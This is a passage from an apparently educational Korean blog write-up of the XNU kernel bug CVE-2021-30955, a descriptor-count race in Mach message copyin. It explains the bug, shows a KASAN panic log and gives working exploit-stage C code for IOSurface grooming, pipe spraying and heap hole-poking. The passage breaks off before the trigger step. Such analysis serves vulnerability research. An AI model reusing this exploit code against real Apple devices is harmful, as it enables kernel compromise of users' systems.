\uac80\uc0ac \ub300\uc0c1 \ubcc0\uc218\uc758 \uac12\uc774 \uac80\uc0ac \uc2dc\uc810\uacfc \uc0ac\uc6a9 \uc2dc\uc810\uc5d0 \uc11c\ub85c \ub2e4\ub97c \uc218 \uc788\uae30 \ub54c\ubb38\uc774\ub2e4.<\/p>\n<p>\uc774 \uacbd\uc6b0, \uc6b0\ub9ac\ub294 \ud560\ub2f9\uc744 \ud560 \ub54c\ub294 \uc5b4\ub5a4 descriptor count\ub97c \uc0ac\uc6a9\ud558\uace0, \ub098\uc911\uc5d0\ub294 \uadf8\uc640 \ub2e4\ub978 \uac1c\uc218\ub97c \uc0ac\uc6a9\ud560 \uc218 \uc788\uac8c \ub41c\ub2e4.<\/p>\n<p>\uc774\uc81c \ube48 \uacf5\uac04(gap)\uc744 \uc81c\uac70\ud558\uae30 \uc704\ud574 <code>ikm_header<\/code>\ub97c \uc870\uc815\ud558\ub294 \ucf54\ub4dc\ub97c \uc0b4\ud3b4\ubd10\uc57c\ud55c\ub2e4 (\ube48 \uacf5\uac04 = <code>user_descs * USER_DESC_MAX_DELTA<\/code>\uc774\uba70, \uc774\ub294 \uace7 descriptor count\uc5d0 4\ub97c \uacf1\ud55c \uac12\uc774\ub77c\ub294 \uc810\uc744 \uae30\uc5b5\ud558\ub77c).\n\uc774 \ucf54\ub4dc\ub294 <code>mach_msg_overwrite_trap<\/code> \u2192 <code>ipc_kmsg_copyin_from_user<\/code> \u2192\n(\ucd5c\uc885\uc801\uc73c\ub85c) <code>ipc_kmsg_copyin_body<\/code>\uc5d0 \uc704\uce58\ud558\uba70, \uc815\ud655\ud788 \uc5ec\uae30\uac00 \ub418\uaca0\ub2e4.<\/p>\n<p>\ud574\ub2f9 \ucf54\ub4dc\ub294 (\ubc84\uadf8\ub85c \uc778\ud574 \ubcc0\uacbd\ub41c \ud6c4\uc758) descriptor count\ub97c \uc0ac\uc6a9\ud558\uc5ec \ubaa8\ub4e0 \ub370\uc774\ud130\ub97c \uc774\ub3d9\uc2dc\ud0b4\uc73c\ub85c\uc368 <code>ikm_header<\/code> \uc55e\uc758 \ube48 \uacf5\uac04(gap)\uc744 \uc81c\uac70\ud55c\ub2e4.<\/p>\n<p>\ud328\ub2c9(panic)\uc744 \uc720\ubc1c\ud558\uae30 \uc704\ud55c \ubc29\ubc95 \uc911 \ud558\ub098\ub294, \ucd08\uae30\uc5d0 descriptor count\ub97c \uc791\uc740 \uac12\uc73c\ub85c \uc124\uc815\ud558\uace0, \ud560\ub2f9\uc774 \uc774\ub8e8\uc5b4\uc9c4 \ud6c4\uc5d0 \uc774\ub97c \ub354 \ud070 \uac12\uc73c\ub85c \ubcc0\uacbd\ud558\ub294 \uac83\uc774\ub2e4. \uadf8\ub807\uac8c \ud558\uba74 <code>ikm_header<\/code>\uac00 \uc67c\ucabd\uc73c\ub85c \uc774\ub3d9\ud558\uba74\uc11c \uacbd\uacc4 \ubc16\uc73c\ub85c \ubc97\uc5b4\ub098\uac8c\ub41c\ub2e4!<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Screenshot_2026-01-08_at_1.57.54_PM.png\" alt=\"Screenshot 2026-01-08 at 1.57.54\u202fPM.png\"><\/p>\n<p>\uc5ec\uae30\uae4c\uc9c0\uac00 \ubc84\uadf8 \uc124\uba85\uc774 \ub418\uaca0\ub2e4.<\/p>\n<p>\uc704 \ubc84\uadf8 \uc694\uc57d\uc744 \uadf8\ub9bc\uc73c\ub85c \ub098\ud0c0\ub0b4\uba74 \uc544\ub798\uc640 \uac19\uc73c\uba70,<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Drawing_2026-01-07_19.43.10.excalidraw.svg\" alt=\"Drawing 2026-01-07 19.43.10.excalidraw.svg\"><\/p>\n<p>KASAN \ucee4\ub110 \ud658\uacbd\uc5d0\uc11c \uc6d0\ub798\uc758 poc \ucf54\ub4dc\ub97c \uc2e4\ud589\uc2dc\ucf1c\ubcf4\uba74,\n<code>ipc_kmsg_copyin_body<\/code>\uc5d0\uc11c \uacbd\uacc4 \ubc16\uc73c\ub85c \ubc97\uc5b4\ub0a8\uc5d0 \ub530\ub77c \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud55c\ub2e4.<\/p>\n<ul>\n<li>panic log<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">(lldb) c\nProcess 1 resuming\nProcess 1 stopped\n* thread #3, name = 'CPU2', stop reason = breakpoint 1.1\n    frame #0: 0xfffffe00127c7dd0 kernel.kasan.vmapple`panic(str=&quot;%s @%s:%d&quot;) at debug.c:872:2 [opt]\nTarget 0: (kernel.kasan.vmapple) stopped.\n(lldb) bt\n* thread #3, name = 'CPU2', stop reason = breakpoint 1.1\n  * frame #0: 0xfffffe00127c7dd0 kernel.kasan.vmapple`panic(str=&quot;%s @%s:%d&quot;) at debug.c:872:2 [opt]\n    frame #1: 0xfffffe00127e07f0 kernel.kasan.vmapple`kasan_report_internal.cold.1 at kasan-report.c:114:12 [opt]\n    frame #2: 0xfffffe00127be8d0 kernel.kasan.vmapple`kasan_report_internal(p=&lt;unavailable&gt;, width=&lt;unavailable&gt;, access=&lt;unavailable&gt;, reason=&lt;unavailable&gt;, dopanic=true) at kasan-report.c:114:12 [opt]\n    frame #3: 0xfffffe00127be43c kernel.kasan.vmapple`kasan_panic_report_internal(p=&lt;unavailable&gt;, width=&lt;unavailable&gt;, access=&lt;unavailable&gt;, reason=&lt;unavailable&gt;) at kasan-report.c:120:2 [opt] [artificial]\n    frame #4: 0xfffffe00127be434 kernel.kasan.vmapple`kasan_crash_report(p=&lt;unavailable&gt;, width=&lt;unavailable&gt;, access=&lt;unavailable&gt;, reason=&lt;unavailable&gt;) at kasan-report.c:135:2 [opt]\n    frame #5: 0xfffffe00127be664 kernel.kasan.vmapple`kasan_violation(addr=18446742080856211464, size=36, access=TYPE_MEMR, reason=REASON_POISONED) at kasan-report.c:191:2 [opt]\n    frame #6: 0xfffffe00127c3640 kernel.kasan.vmapple`kasan_check_range(x=&lt;unavailable&gt;, sz=&lt;unavailable&gt;, access=&lt;unavailable&gt;) at kasan-classic.c:400:3 [opt] [artificial]\n    frame #7: 0xfffffe00127bc790 kernel.kasan.vmapple`__asan_memmove(src=0xfffffe3000af4008, dst=0xfffffe3000af8004, sz=36) at kasan-memintrinsics.c:50:2 [opt]\n    frame #8: 0xfffffe001100d77c kernel.kasan.vmapple`ipc_kmsg_copyin_body(kmsg=0xfffffe18bbddcc90, space=0xfffffe18bd18bd18, map=0xfffffe18bd062a38, optionp=0xfffffe302d6afbe0) at ipc_kmsg.c:3802:3 [opt]\n    frame #9: 0xfffffe001100d764 kernel.kasan.vmapple`ipc_kmsg_copyin_from_user(kmsg=0xfffffe18bbddcc90, space=0xfffffe18bd18bd18, map=0xfffffe18bd062a38, priority=&lt;unavailable&gt;, optionp=0xfffffe302d6afbe0, filter_nonfatal=&lt;unavailable&gt;) at ipc_kmsg.c:3971:8 [opt]\n    frame #10: 0xfffffe0011047860 kernel.kasan.vmapple`mach_msg_overwrite_trap(args=&lt;unavailable&gt;) at mach_msg.c:362:8 [opt]\n    frame #11: 0xfffffe001144ec50 kernel.kasan.vmapple`mach_syscall(state=0xfffffe18be6014b0) at bsd_arm64.c:276:11 [opt]\n    frame #12: 0xfffffe0011469ab0 kernel.kasan.vmapple`handle_svc(state=0xfffffe18be6014b0) at sleh.c:2411:3 [opt] [inlined]\n    frame #13: 0xfffffe0011469a1c kernel.kasan.vmapple`sleh_synchronous(context=0xfffffe18be6014b0, esr=1442840704, far=4305322064) at sleh.c:743:3 [opt]\n    frame #14: 0xfffffe001146879c kernel.kasan.vmapple`fleh_synchronous + 40\n    frame #15: 0x00000001b96bd954\n    frame #16: 0x00000001003907ec\n    frame #17: 0x00000001b96f94ec\n<\/code><\/pre>\n<pre><code class=\"language-cpp\">KCOV: Disabling coverage tracking. System panicking.\nIOPlatformPanicAction -&gt; ApplePVPanicMMIO\nIOPlatformPanicAction -&gt; AppleVirtIOUSBDeviceController\npanic(cpu 2 caller 0xfffffe00127e07f0): KASan: invalid 36-byte load from 0xfffffe3000af4008 [HEAP_LEFT_RZ]\n Shadow             0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f\n ffffffc60015e7b0: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb \n ffffffc60015e7c0: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb \n ffffffc60015e7d0: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb \n ffffffc60015e7e0: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb \n ffffffc60015e7f0: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb \n ffffffc60015e800: fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa \n ffffffc60015e810: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa \n ffffffc60015e820: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa \n ffffffc60015e830: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa \n ffffffc60015e840: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa \n ffffffc60015e850: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa \n\n @kasan-report.c:114\nDebugger message: panic\nDevice: VMA2MACOS\nHardware Model: VirtualMac2,1\nECID: AA5B0039AFD60287\nBoot args: -v serial=3\nMemory ID: 0x0\nOS release type: User\nOS version: 21A559\nKernel version: Darwin Kernel Version 21.1.0: Wed Oct 13 17:25:13 PDT 2021; root:xnu_kasan-8019.41.5~1\/KASAN_ARM64_VMAPPLE\nFileset Kernelcache UUID: B03A5B6975F0191C031E9FBF59604799\nKernel UUID: 9EA27AEB-5869-322D-AA73-F00EF950FFCB\niBoot version: iBoot-7429.41.5\nsecure boot?: NO\nPaniclog version: 13\nKernelCache slide: 0x0000000009538000\nKernelCache base:  0xfffffe001053c000\nKernel slide:      0x0000000009aa8000\nKernel text base:  0xfffffe0010aac000\nKernel text exec slide: 0x0000000009fc4000\nKernel text exec base:  0xfffffe0010fc8000\nmach_absolute_time: 0x53cbc9335\nEpoch Time:        sec       usec\n  Boot    : 0x69587c44 0x000c24ac\n  Sleep   : 0x00000000 0x00000000\n  Wake    : 0x00000000 0x00000000\n  Calendar: 0x69587fed 0x000105fe\n\nZone info:\nForeign   : 0xfffffe0018904000 - 0xfffffe0018918000\nNative    : 0xfffffe1000654000 - 0xfffffe3000654000\nReadonly  : 0 - 0\nMetadata  : 0xfffffe47c6860000 - 0xfffffe47d2800000\nBitmaps   : 0xfffffe47c6864000 - 0xfffffe47c7c1c000\nCORE 0: PC=0x0000000100390770, LR=0x00000001b96f94ec, FP=0x000000016faf6fe0\nCORE 1: PC=0xfffffe0011bae3fc, LR=0xfffffe0011bad3b4, FP=0xfffffe302d5ef7b0\nCORE 2 is the one that panicked. Check the full backtrace for details.\nCORE 3: PC=0x0000000104d87b94, LR=0x0000000104d87bf8, FP=0x000000016b29ced0\nPanicked task 0xfffffe18bc4c4dd0: 142 pages, 3 threads: pid 534: poc\nPanicked thread: 0xfffffe18be39ad48, backtrace: 0xfffffe302d6aeda0, tid: 3926\n\t\t  lr: 0xfffffe001106ba08  fp: 0xfffffe302d6aee30\n\t\t  lr: 0xfffffe00114972c0  fp: 0xfffffe302d6aee50\n\t\t  lr: 0xfffffe001146e1b8  fp: 0xfffffe302d6aef30\n\t\t  lr: 0xfffffe001146956c  fp: 0xfffffe302d6af000\n\t\t  lr: 0xfffffe001146879c  fp: 0xfffffe302d6af010\n\t\t  lr: 0xfffffe001106b148  fp: 0xfffffe302d6af3c0\n\t\t  lr: 0xfffffe001106c064  fp: 0xfffffe302d6af430\n\t\t  lr: 0xfffffe00127c7df4  fp: 0xfffffe302d6af450\n\t\t  lr: 0xfffffe00127e07f0  fp: 0xfffffe302d6af480\n\t\t  lr: 0xfffffe00127be8d0  fp: 0xfffffe302d6af520\n\t\t  lr: 0xfffffe00127be434  fp: 0xfffffe302d6af550\n\t\t  lr: 0xfffffe00127be664  fp: 0xfffffe302d6af780\n\t\t  lr: 0xfffffe00127bc790  fp: 0xfffffe302d6af7b0\n\t\t  lr: 0xfffffe001100d77c  fp: 0xfffffe302d6afb50\n\t\t  lr: 0xfffffe0011047860  fp: 0xfffffe302d6afcb0\n\t\t  lr: 0xfffffe001144ec50  fp: 0xfffffe302d6afe40\n\t\t  lr: 0xfffffe0011469ab0  fp: 0xfffffe302d6aff10\n\t\t  lr: 0xfffffe001146879c  fp: 0xfffffe302d6aff20\n...\n<\/code><\/pre>\n<h1>\uc775\uc2a4\ud50c\ub85c\uc787 \ubc29\ubc95<\/h1>\n<h2>1. <code>IOSurface_setCapacity_0x2000<\/code><\/h2>\n<p>IOSurface\ub294 \uc8fc\ub85c \uadf8\ub798\ud53d \ubc84\ud37c\uc758 \ucc98\ub9ac\uc640 \uacc4\uc0b0\uc744 \ud558\ub294\ub370 \uc0ac\uc6a9\ub418\ub294 \ub4dc\ub77c\uc774\ubc84\uc774\uc9c0\ub9cc,\nhsp4 \ucee4\ub110 \ud328\uce58\ub97c \ud1b5\ud55c \uc720\uc800\ub79c\ub4dc\uc5d0\uc11c\uc758 \ucee4\ub110 \uc77d\uae30\/\uc4f0\uae30 \ud504\ub9ac\ubbf8\ud2f0\ube0c\uac00 \ub9c9\ud614\uae30 \ub54c\ubb38\uc5d0, IOSurface\ub294 \ucee4\ub110 \uc77d\uae30\/\uc4f0\uae30 \ud504\ub9ac\ubbf8\ud2f0\ube0c\ub97c \uc5bb\ub294\ub370 \uc790\uc8fc \uc4f0\uc774\uac8c \ub41c\ub2e4.<\/p>\n<p>\ud574\ub2f9 \ucee4\ub110 \ub4dc\ub77c\uc774\ubc84\ub97c \uba3c\uc800 \ud1b5\uc2e0\ud558\uae30 \uc704\ud574 \uc720\uc800 \ud074\ub77c\uc774\uc5b8\ud2b8\ub97c \uc5f0 \ub2e4\uc74c, 6\ubc88 \ud638\ucd9c \uba54\uc2a4\ub4dc\uc778 <code>IOSurfaceRootUserClient::s_create_surface_fast_path<\/code> \ub97c \uc5ec\ub7ec\ubc88 \ud638\ucd9c\ud558\uc5ec <code>m_IOSurfaceClientArrayPointer<\/code> \ub97c \ucee4\ub110\uc5d0\uc11c 0x10000\ud06c\uae30\ub9cc\ud07c \ud560\ub2f9\ubc1b\uac8c\ub054 \ub9cc\ub4e0\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">int surfaces[2][4096] = {0};\nio_service_t IOSRUC[2] = {0};\n\nint IOSurface_setCapacity_0x2000() {\n    kern_return_t ret = _host_page_size(mach_host_self(), (vm_size_t*)&amp;pagesize);\n    if (ret) {\n        printf(&quot;[-] Failed to get page size! 0x%x (%s)\\n&quot;, ret, mach_error_string(ret));\n        return ret;\n    }\n    \n    io_connect_t IOSurfaceRoot = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(&quot;IOSurfaceRoot&quot;));\n    if (!MACH_PORT_VALID(IOSurfaceRoot)) {\n        printf(&quot;[-] Failed to find IOSurfaceRoot service\\n&quot;);\n        return KERN_FAILURE;\n    }\n    \n    ret = IOServiceOpen(IOSurfaceRoot, mach_task_self(), 0, &amp;IOSRUC[0]);\n    if (ret || !MACH_PORT_VALID(IOSRUC[0])) {\n        printf(&quot;[-] Failed to open IOSRUC: 0x%x (%s)\\n&quot;, ret, mach_error_string(ret));\n        return ret;\n    }\n    \n    ret = IOServiceOpen(IOSurfaceRoot, mach_task_self(), 0, &amp;IOSRUC[1]);\n    if (ret || !MACH_PORT_VALID(IOSRUC[1])) {\n        printf(&quot;[-] Failed to open IOSRUC: 0x%x (%s)\\n&quot;, ret, mach_error_string(ret));\n        return ret;\n    }\n    \n    struct IOSurfaceFastCreateArgs create_args = {\n        .alloc_size = pagesize\n    };\n    \n    struct IOSurfaceLockResult lock_result;\n    size_t lock_result_size = 0xf60;\n    \n    for (int i = 0; i &lt; 4096; i++) {\n        ret = IOConnectCallMethod(IOSRUC[0], IOSurfaceRootUserClient_create_surface_selector, NULL, 0, &amp;create_args, sizeof(create_args), NULL, NULL, &amp;lock_result, &amp;lock_result_size);\n        if (ret) {\n            printf(&quot;[-] Failed to create IOSurfaceClient: 0x%x (%s)\\n&quot;, ret, mach_error_string(ret));\n            return ret;\n        }\n    \n        surfaces[0][i] = lock_result.surface_id;\n    }\n    \n    for (int i = 0; i &lt; 4096; i++) {\n        release_IOSurface(IOSRUC[0], surfaces[0][i]);\n        surfaces[0][i] = 0;\n    }\n    \n    for (int i = 0; i &lt; 4096; i++) {\n        ret = IOConnectCallMethod(IOSRUC[1], IOSurfaceRootUserClient_create_surface_selector, NULL, 0, &amp;create_args, sizeof(create_args), NULL, NULL, &amp;lock_result, &amp;lock_result_size);\n        if (ret) {\n            printf(&quot;[-] Failed to create IOSurfaceClient: 0x%x (%s)\\n&quot;, ret, mach_error_string(ret));\n            return ret;\n        }\n#if DEBUG\n        printf(&quot;[i] Surface id: %d\\n&quot;, lock_result.surface_id);\n#endif\n        surfaces[1][i] = lock_result.surface_id;\n        \n        if (surfaces[1][i] == 8100) break;\n    }\n    \n    return 0;\n}\n\nvoid exploit() {\n    printf(&quot;[*] Setting up exploit\\n&quot;);\n    \n    IOSurface_setCapacity_0x2000();\n    \n    ...\n\n}\n<\/code><\/pre>\n<p>IOSurfaceRootUserClient \uac1d\uccb4\uc758 <code>m_IOSurfaceClientArrayPointer<\/code> \ud544\ub4dc\ub294 <code>IOSurfaceRootUserClient::alloc_handles<\/code>\uc5d0\uc11c \ub0b4\ubd80\uc801\uc73c\ub85c <code>IOMallocZero<\/code>\ub97c \ud638\ucd9c\ud558\uc5ec \ud560\ub2f9\ubc1b\uac8c \ub418\uba70, \uc5ec\ub7ec\ubc88 \uba54\uc18c\ub4dc \ud638\ucd9c\ub85c \uc778\ud574 i_IOSurfaceHandleTotalCapability \uac12\uc744 0x2000\uc73c\ub85c \ub9cc\ub4e4\uc5c8\uae30 \ub54c\ubb38\uc5d0 \ucd5c\uc885\uc801\uc73c\ub85c 0x10000\ud06c\uae30\ub97c \ucee4\ub110\uc5d0\uc11c \ud560\ub2f9\ubc1b\ub294\ub2e4.<\/p>\n<p>\ucc38\uace0\ub85c, 0x10000 \ud06c\uae30\ub294 zone \ucd5c\ub300 \uad00\ub9ac \ud06c\uae30\uc778 32768(=0x8000)\uc744 \ub118\uc5b4\uc11c\uae30 \ub54c\ubb38\uc5d0\n<code>kalloc_zone<\/code>\uc774 \uc544\ub2cc <code>kalloc_large<\/code> \ud568\uc218 \ud638\ucd9c\uc744 \ud1b5\ud574 \ud560\ub2f9\ubc1b\ub294\ub2e4.\n\ud558\ub098\uc529 \uc0b4\ud3b4\ubcf4\uba74 \uc54c\uacd8\uc9c0\ub9cc, <code>kmem_alloc_guard<\/code> \ub97c \ud638\ucd9c\ud560\ub54c  <code>kernel_map<\/code>\uc744 1\ubc88\uc9f8 \ub9e4\uac1c\ubcc0\uc218\ub85c \ub118\uaca8\uc8fc\ub294\uac83\uc744 \ubcfc \uc218 \uc788\ub2e4.<\/p>\n<p><code>IOMallocZero<\/code>\uc73c\ub85c \ud560\ub2f9\ud558\uae30\uae4c\uc9c0\uc758 \ud638\ucd9c \uacbd\ub85c\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.\n<code>IOSurfaceRootUserClient::s_create_surface_fast_path<\/code>\n\u2192 <code>IOSurfaceRootUserClient::create_surface_fast_path<\/code>\n\u2192 <code>IOSurfaceClient::withBuffer<\/code>\n\u2192 <code>IOSurfaceClient::init<\/code>\n\u2192 <code>IOSurfaceRootUserClient::set_surface_handle<\/code>\n\u2192 <code>IOSurfaceRootUserClient::alloc_handles<\/code><\/p>\n<p><code>IOMallocZero<\/code> \ub294 KHEAP_KEXT \ud0c0\uc785\uc73c\ub85c \ucee4\ub110\uc744 \ud560\ub2f9\ubc1b\ub294\ub370,\n\uc774\ub54c KHEAP_DEFAULT\uc640 KHEAP_KEXT \ud0c0\uc785\uc740 \ucee4\ub110 \ud560\ub2f9 \uc11c\ube0c\ub9f5\uc744 \uc11c\ub85c \uacf5\uc720\ud55c\ub2e4\ub294 \uc810\uc744 \uae30\uc5b5\ud574\ub450\uc790.\n(\ub2e8, VMApple\uc740 \ud574\ub2f9 \uc548\ub428)<\/p>\n<pre><code class=\"language-cpp\">bool __fastcall IOSurfaceRootUserClient::alloc_handles(IOSurfaceRootUserClient *this)\n{\n  __int64 i_IOSurfaceHandleTotalCapability; \/\/ x24\n  IOSurfaceClient **m_IOSurfaceClientArrayPointer; \/\/ x19\n  __int64 i_surfaceClientCapacity; \/\/ x23\n  IOSurfaceClient **v5; \/\/ x0\n  IOSurfaceClient **v6; \/\/ x20\n\n  i_IOSurfaceHandleTotalCapability = (unsigned int)this-&gt;IOSurfaceRoot-&gt;i_IOSurfaceHandleTotalCapability;\n  m_IOSurfaceClientArrayPointer = this-&gt;m_IOSurfaceClientArrayPointer;\n  i_surfaceClientCapacity = (unsigned int)this-&gt;i_surfaceClientCapacity;\n  v5 = (IOSurfaceClient **)j__IOMallocZero_17(8 * i_IOSurfaceHandleTotalCapability);\n  v6 = v5;\n  this-&gt;m_IOSurfaceClientArrayPointer = v5;\n  if ( v5 )\n  {\n    this-&gt;i_surfaceClientCapacity = i_IOSurfaceHandleTotalCapability;\n    if ( m_IOSurfaceClientArrayPointer )\n    {\n      j____memcpy_chk_49(\n        v5,\n        m_IOSurfaceClientArrayPointer,\n        8 * i_surfaceClientCapacity,\n        8 * i_IOSurfaceHandleTotalCapability);\n      j__IOFree_51(m_IOSurfaceClientArrayPointer, 8 * i_surfaceClientCapacity);\n    }\n  }\n  else\n  {\n    j__IOLog_83(&quot;IONewZero failed to alloc handles&quot;);\n    this-&gt;m_IOSurfaceClientArrayPointer = m_IOSurfaceClientArrayPointer;\n  }\n  return v6 != 0;\n}\n<\/code><\/pre>\n<h2>2. <code>increase_file_limit<\/code><\/h2>\n<p>\ub2e4\uc74c\uc73c\ub85c, \ud30c\uc774\ud504 \uc2a4\ud504\ub808\uc774\ub97c \uc6d0\ud65c\ud558\uac8c \ud558\uae30 \uc704\ud574\n\ud604\uc7ac \ud504\ub85c\uc138\uc2a4\uc758 \ud30c\uc77c \ub514\uc2a4\ud06c\ub9bd\ud130 \uc81c\ud55c\uc744 10240\uc73c\ub85c \uc99d\uac00\uc2dc\ud0a8\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">void increase_file_limit() {\n    struct rlimit rl = {};\n    getrlimit(RLIMIT_NOFILE, &amp;rl);\n    rl.rlim_cur = 10240;\n    rl.rlim_max = rl.rlim_cur;\n    setrlimit(RLIMIT_NOFILE, &amp;rl);\n}\n\nvoid exploit() {\n    \/\/ allow us to spray a lot of pipes\n    increase_file_limit();\n    ...\n}\n<\/code><\/pre>\n<h2>3.  \uccab\ubc88\uc9f8 \ud30c\uc774\ud504 \uc2a4\ud504\ub808\uc774 \ubc0f \ud48d\uc218<\/h2>\n<p>900\uac1c\uc758 \ud30c\uc774\ud504\ub97c \uc0dd\uc131\ud558\uc5ec (0x4000-1) \ud06c\uae30\ub9cc\ud07c \uac01 \ud30c\uc774\ud504\uc5d0 write\ud55c\ub2e4.<\/p>\n<p>data.kalloc.16384 \uc874\uc73c\ub85c\ubd80\ud130 900\ubc88 \ud560\ub2f9\ubc1b\ub294 \uac83\uacfc \ub3d9\uc77c\ud558\uba70,\n\ud2b9\uc815 \ud30c\uc774\ud504 \ub514\uc2a4\ud06c\ub9bd\ud130\ub97c read\/write\ud568\uc73c\ub85c\uc368 \ucee4\ub110\uc5d0 \ud560\ub2f9\ub41c \ud30c\uc774\ud504 \uc601\uc5ed\uc744 \uc784\uc758\ub85c \uc81c\uc5b4\ud560 \uc218 \uc788\ub2e4.<\/p>\n<p>\uc774\ud6c4\uc5d0 \ud30c\uc774\ud504 \ubc30\uc5f4 \uc778\ub371\uc2a4\uac00 64\ub85c \ub098\ub204\uc5b4 \ub5a8\uc5b4\uc9c0\uba74,\n\ud799 \ud48d\uc218\uc640 \uc720\uc0ac\ud574\ubcf4\uc774\ub294\ub370, \ud574\ub2f9 \uc778\ub371\uc2a4\uc758 \ud30c\uc774\ud504 \ud560\ub2f9\uc744 \ud574\uc81c\uc2dc\ucf1c \uc911\uac04\uc911\uac04\uc5d0 \uad6c\uba4d\uc744 \ub6ab\ub294\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">\/\/ how many pipes to spray\n#define N_SPRAY 900\n\n\/\/ size of each pipe buffer\n#define KALLOC_SIZE 0x4000\n\nvoid exploit() {\n    ...\n    \/\/ original writeup uses a mach message for this, but we'd have to fix up the trailer to avoid breaking its signature, also pipes allow us to write back without reallocating\n    printf(&quot;[*] Spraying pipe buffers\\n&quot;);\n    size_t pipe_count = N_SPRAY;\n    void *pipe_buf = calloc(1, KALLOC_SIZE);\n    memset(pipe_buf, 0, KALLOC_SIZE);\n    int *pipefds = create_pipes(&amp;pipe_count);\n    pipe_spray(pipefds, pipe_count, pipe_buf, KALLOC_SIZE, NULL);\n#if ENABLE_HELPER\n    for(int i = 0; i &lt; pipe_count; i++) {\n        uint64_t kspace = obtain_pipe_kaddr(pipefds[2 * i]);\n        printf(&quot;[*] kspace; Allocated pipe kaddr = 0x%llx, rfd = 0x%llx\\n&quot;, kspace, pipefds[2 * i]);\n    }\n#endif    \n    \n\n    \/\/ -----------+-----------+-----------+------------+-----------\n    \/\/    pipe1   |   pipe2   |    ...    |  pipe900  |\n    \/\/ -----------+-----------+-----------+------------+-----------\n    \/\/\n    \n    \/\/ poke some holes to increase chance of landing right after a pipe\n    printf(&quot;[*] Poking holes\\n&quot;);\n    fflush(stdout);\n\n    for(int i = 0; i &lt; pipe_count; i++) {\n        if (i % 64 == 0) {\n#if ENABLE_HELPER\n            printf(&quot;[*] Freed pipe kaddr = 0x%llx, i = %d\\n&quot;, obtain_pipe_kaddr(pipefds[2 * i]), i);\n#endif\n            close(pipefds[2 * i]);\n            close(pipefds[2 * i + 1]);\n            pipefds[2 * i] = 0;\n            pipefds[2 * i + 1] = 0;\n        }\n    }\n  \n    \/\/ -----------+-----------+-----------+------------+------------+------------+-----------\n    \/\/    pipe1   |   pipe2   |    ...    |   pipe64   |    FREE    |   pipe67   |    ...\n    \/\/ -----------+-----------+-----------+------------+------------+------------+-----------\n    \/\/\n}\n\nvoid\nset_nonblock(int fd) {\n    int flags = fcntl(fd, F_GETFL);\n    flags |= O_NONBLOCK;\n    fcntl(fd, F_SETFL, flags);\n}\n\nint *\ncreate_pipes(size_t *pipe_count) {\n    \/\/ Allocate our initial array.\n    size_t capacity = *pipe_count;\n    int *pipefds = calloc(2 * capacity, sizeof(int));\n    assert(pipefds != NULL);\n    \/\/ Create as many pipes as we can.\n    size_t count = 0;\n    for (; count &lt; capacity; count++) {\n        \/\/ First create our pipe fds.\n        int fds[2] = { -1, -1 };\n        int error = pipe(fds);\n        \/\/ Unfortunately pipe() seems to return success with invalid fds once we've\n        \/\/ exhausted the file limit. Check for this.\n        if (error != 0 || fds[0] &lt; 0 || fds[1] &lt; 0) {\n            pipe_close(fds);\n            break;\n        }\n        \/\/ Mark the write-end as nonblocking.\n        \/\/set_nonblock(fds[1]);\n        \/\/ Store the fds.\n        pipefds[2 * count + 0] = fds[0];\n        pipefds[2 * count + 1] = fds[1];\n    }\n    assert(count == capacity &amp;&amp; &quot;can't alloc enough pipe fds&quot;);\n    \/\/ Truncate the array to the smaller size.\n    int *new_pipefds = realloc(pipefds, 2 * count * sizeof(int));\n    assert(new_pipefds != NULL);\n    \/\/ Return the count and the array.\n    *pipe_count = count;\n    return new_pipefds;\n}\n\nsize_t\npipe_spray(const int *pipefds, size_t pipe_count,\n        void *pipe_buffer, size_t pipe_buffer_size,\n        void (^update)(uint32_t pipe_index, void *data, size_t size)) {\n    assert(pipe_count &lt;= 0xffffff);\n    size_t write_size = pipe_buffer_size - 1;\n    size_t pipes_filled = 0;\n    for (size_t i = 0; i &lt; pipe_count; i++) {\n        \/\/ printf(&quot;writing now = 0x%x\\n&quot;, i);\n\n        \/\/ Update the buffer.\n        if (update != NULL) {\n            update((uint32_t)i, pipe_buffer, pipe_buffer_size);\n        }\n        \n        int wfd = pipefds[2 * i + 1];\n        int rfd = pipefds[2 * i];\n        set_nonblock(wfd);\n        set_nonblock(rfd);\n\n        \/\/ Fill the write-end of the pipe with the buffer. Leave off the last byte.\n        ssize_t written = write(wfd, pipe_buffer, write_size);\n        \/\/ printf(&quot;written = 0x%x\\n&quot;, written);\n        if (written != write_size) {\n            \/\/ printf(&quot;written = 0x%x, write_size = 0x%x\\n&quot;, written, write_size);\n            \/\/ This is most likely because we've run out of pipe buffer memory. None of\n            \/\/ the subsequent writes will work either.\n            break;\n        }\n        pipes_filled++;\n    }\n    return pipes_filled;\n}\n\n<\/code><\/pre>\n<h2>4. \ubc84\uadf8 \ud2b8\ub9ac\uac70\ud558\uae30: <code>mach_msg_header_t<\/code> \ub0b4\uc6a9 \uc720\ucd9c\uacfc  <code>mach_msg_ool_ports_descriptor_t<\/code> <strong>\ubc30\uc5f4 \ub0b4\uc6a9 \uc720\ucd9c<\/strong><\/h2>\n<p>\ub9e8 \uccab \u201c\ubc84\uadf8 \uc54c\uc544\ubcf4\uae30\u201d \ub2e8\uacc4\uc5d0\uc11c \uc124\uba85\ud574\ub193\uc558\ub2e4\uc2dc\ud53c \ud2b9\uc815 \uc2dc\uc810\uc5d0 descriptor count\ub97c 